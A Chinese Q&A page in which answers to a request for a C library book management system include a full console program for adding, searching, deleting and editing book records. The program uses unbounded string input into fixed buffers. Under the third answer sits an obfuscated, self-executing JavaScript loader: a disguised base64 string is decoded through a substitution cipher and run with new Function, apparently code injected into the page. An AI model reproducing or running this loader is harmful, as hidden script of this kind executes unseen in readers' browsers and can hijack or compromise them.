C语言,图书信息管理系统

2025-03-18 09:50:58
推荐回答(3个)
回答1:

没有安装其他浏览器也没有关系,windows自带的有IE浏览器,进入百度一下页面,搜索
C++图书信息管理系统
,进入二级页面点击下载,选择路径即可

回答2:

//懒得写注释了。。哪儿想要注释就私信我吧。。全篇都写好麻烦
//希望能帮到你^_^
#include 
#include 
#define Total 20

typedef struct Time {
    int year;
    int month;
    int day;
}Time;

struct Book {
    int bookID;
    char bookName[20];
    char authorName[20];
    int groupID;
    char publishHouse[20];
    Time publishTime;
    double price;
    int isVisible;  //1-正常情况, 0-被删除
} book[Total];

int count = 0;

void inputInfo()
{
    printf("Please input the number of books:\n");
    scanf("%d", &count);
    for (int i = 0; i < count; i ++) {
        printf("Book %d:\n", i + 1);
        printf("book ID:");
        scanf("%d", &book[i].bookID);
        getchar();
        printf("book name:");
        scanf("%s", book[i].bookName);
        getchar();
        printf("author name:");
        scanf("%s", book[i].authorName);
        printf("group ID:");
        scanf("%d", &book[i].groupID);
        getchar();
        printf("publishing house:");
        scanf("%s", book[i].publishHouse);
        printf("publishing time:");
        scanf("%d.%d.%d", &book[i].publishTime.year, &book[i].publishTime.month, &book[i].publishTime.day);
        printf("book price:");
        scanf("%lf", &book[i].price);
        book[i].isVisible = 1;
    }
    printf("Input Complete!\n");
}

void outputInfo()
{
    printf("BookID\tBookName\tAuthor\tGroupID\tPublishHouse\tTime\tprice\n");
    for (int i = 0; i < count; i ++) {
        if (book[i].isVisible == 1) {
            printf("%d\t", book[i].bookID);
            printf("%s\t", book[i].bookName);
            printf("%s\t", book[i].authorName);
            printf("%d\t", book[i].groupID);
            printf("%s\t", book[i].publishHouse);
            printf("%d.%d.%d\t",book[i].publishTime.year, book[i].publishTime.month, book[i].publishTime.day);
            printf("%.2lf\t", book[i].price);
            printf("\n");
        }
    }
}

void searchByBookName()
{
    char name[20];
    printf("Please input the name of the book:");
    scanf("%s", name);
    int i;
    for (i = 0; i < count; i ++) {
        if (strcmp(book[i].bookName, name) == 0 && book[i].isVisible == 1) {
            printf("-----------------------------------------------\n");
            printf("--  You are viewing the book: %s\n", name);
            printf("-- Book ID: %d\n", book[i].bookID);
            printf("-- Author: %s\n", book[i].authorName);
            printf("-- Group ID: %d\n", book[i].groupID);
            printf("-- Publishing House: %s\n", book[i].publishHouse);
            printf("-- Publishing Time: %d.%d.%d\n",book[i].publishTime.year, book[i].publishTime.month, book[i].publishTime.day);
            printf("-- Book Price: %lf\n", book[i].price);
            printf("-----------------------------------------------\n");
            return;
        }
    }
    if (i == count)
        printf("Not find the book you want.\n");
}

void searchByAuthorName()
{
    char name[20];
    printf("Please input the author's name of the book:");
    scanf("%s", name);
    int i;
    for (i = 0; i < count; i ++) {
        if (strcmp(book[i].authorName, name) == 0 && book[i].isVisible == 1) {
            printf("-----------------------------------------------\n");
            printf("--  You are viewing the book: %s\n", name);
            printf("-- Book ID: %d\n", book[i].bookID);
            printf("-- Author: %s\n", book[i].authorName);
            printf("-- Group ID: %d\n", book[i].groupID);
            printf("-- Publishing House: %s\n", book[i].publishHouse);
            printf("-- Publishing Time: %d.%d.%d\n",book[i].publishTime.year, book[i].publishTime.month, book[i].publishTime.day);
            printf("-- Book Price: %lf\n", book[i].price);
            printf("-----------------------------------------------\n");
            return;
        }
    }
    if (i == count)
        printf("Not find the book you want.\n");
}

void quertBook()
{
    int choice;
    printf("Do you want to search by book name or by author name? 0-book,1-author:");
    scanf("%d", &choice);
    if (choice == 0)
        searchByBookName();
    if (choice == 1)
        searchByAuthorName();
}

void deleteByBookName()
{
    char name[20];
    printf("Please input the name of the book:");
    scanf("%s", name);
    int i;
    for (i = 0; i < count; i ++) {
        if (strcmp(book[i].bookName, name) == 0 && book[i].isVisible == 1) {
            book[i].isVisible = 0;
            printf("Delete Complete!\n");
            return;
        }
    }
    if (i == count)
        printf("The book doesn't exist.\n");
}

void deleteByBookID()
{
    int ID;
    printf("Please input the ID of the book:");
    scanf("%d", &ID);
    int i;
    for (i = 0; i < count; i ++) {
        if (book[i].bookID == ID && book[i].isVisible == 1) {
            book[i].isVisible = 0;
            printf("Delete Complete!\n");
            return;
        }
    }
    if (i == count)
        printf("The book doesn't exist.\n");

}

void deleteBook()
{
    int choice;
    printf("Do you want to delete by book name or by book ID? 0-name,1-ID:");
    scanf("%d", &choice);
    if (choice == 0)
        deleteByBookName();
    if (choice == 1)
        deleteByBookID();
}

void modifyByBookName()
{
    char name[20];
    printf("Please input the name of the book:");
    scanf("%s", name);
    int i;
    for (i = 0; i < count; i ++) {
        if (strcmp(book[i].bookName, name) == 0 && book[i].isVisible == 1) {
            printf("You are modifying the book: %s", book[i].bookName);
            printf("Please reinput the entire info of the book:\n");
            printf("Book %d:\n", i + 1);
            printf("book ID:");
            scanf("%d", &book[i].bookID);
            getchar();
            printf("book name:");
            scanf("%s", book[i].bookName);
            getchar();
            printf("author name:");
            scanf("%s", book[i].authorName);
            printf("group ID:");
            scanf("%d", &book[i].groupID);
            getchar();
            printf("publishing house:");
            scanf("%s", book[i].publishHouse);
            printf("publishing time:");
            scanf("%d.%d.%d", &book[i].publishTime.year, &book[i].publishTime.month, &book[i].publishTime.day);
            printf("book price:");
            scanf("%lf", &book[i].price);
            book[i].isVisible = 1;
            printf("Modification Complete!\n");
            return;
        }
    }
    if (i == count)
        printf("The book doesn't exist.\n");
}

void modifyByBookID()
{
    int ID;
    printf("Please input the ID of the book:");
    scanf("%d", &ID);
    int i;
    for (i = 0; i < count; i ++) {
        if (book[i].bookID == ID && book[i].isVisible == 1) {
            printf("You are modifying the book: %s", book[i].bookName);
            printf("Please reinput the entire info of the book:\n");
            printf("Book %d:\n", i + 1);
            printf("book ID:");
            scanf("%d", &book[i].bookID);
            getchar();
            printf("book name:");
            scanf("%s", book[i].bookName);
            getchar();
            printf("author name:");
            scanf("%s", book[i].authorName);
            printf("group ID:");
            scanf("%d", &book[i].groupID);
            getchar();
            printf("publishing house:");
            scanf("%s", book[i].publishHouse);
            printf("publishing time:");
            scanf("%d.%d.%d", &book[i].publishTime.year, &book[i].publishTime.month, &book[i].publishTime.day);
            printf("book price:");
            scanf("%lf", &book[i].price);
            book[i].isVisible = 1;
            printf("Modification Complete!\n");
            return;
        }
    }
    if (i == count)
        printf("The book doesn't exist.\n");
}

void modifyBook()
{
    int choice;
    printf("Do you want to modify by book name or by book ID? 0-name,1-ID:");
    scanf("%d", &choice);
    if (choice == 0)
        modifyByBookName();
    if (choice == 1)
        modifyByBookID();
}

void insertBook()
{
    printf("Please input the info of the book you want to insert\n");
    printf("Book %d:\n", count + 1);
    printf("book ID:");
    scanf("%d", &book[count].bookID);
    getchar();
    printf("book name:");
    scanf("%s", book[count].bookName);
    getchar();
    printf("author name:");
    scanf("%s", book[count].authorName);
    printf("group ID:");
    scanf("%d", &book[count].groupID);
    getchar();
    printf("publishing house:");
    scanf("%s", book[count].publishHouse);
    printf("publishing time:");
    scanf("%d.%d.%d", &book[count].publishTime.year, &book[count].publishTime.month, &book[count].publishTime.day);
    printf("book price:");
    scanf("%lf", &book[count].price);
    book[count].isVisible = 1;
    count ++;
    printf("Insert Complete!\n");
}

void menu()
{
    printf("---------------------------------\n");
    printf("--  1 - input data             --\n");
    printf("--  2 - output data            --\n");
    printf("--  3 - search for a book      --\n");
    printf("--  4 - delete a book          --\n");
    printf("--  5 - modify info of a book  --\n");
    printf("--  6 - insert data            --\n");
    printf("--  0 - exit                   --\n");
    printf("---------------------------------\n");
    
}

int main() {
    int choice;
    menu();
    scanf("%d", &choice);
    while (choice != 0){
        switch (choice) {
            case 1:
                inputInfo();
                break;
            case 2:
                outputInfo();
                break;
            case 3:
                quertBook();
                break;
            case 4:
                deleteBook();
                break;
            case 5:
                modifyBook();
                break;
            case 6:
                insertBook();
                break;
            default:
                break;
        }
        menu();
        scanf("%d", &choice);
    }
    return 0;
}

回答3:

程序有点大

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();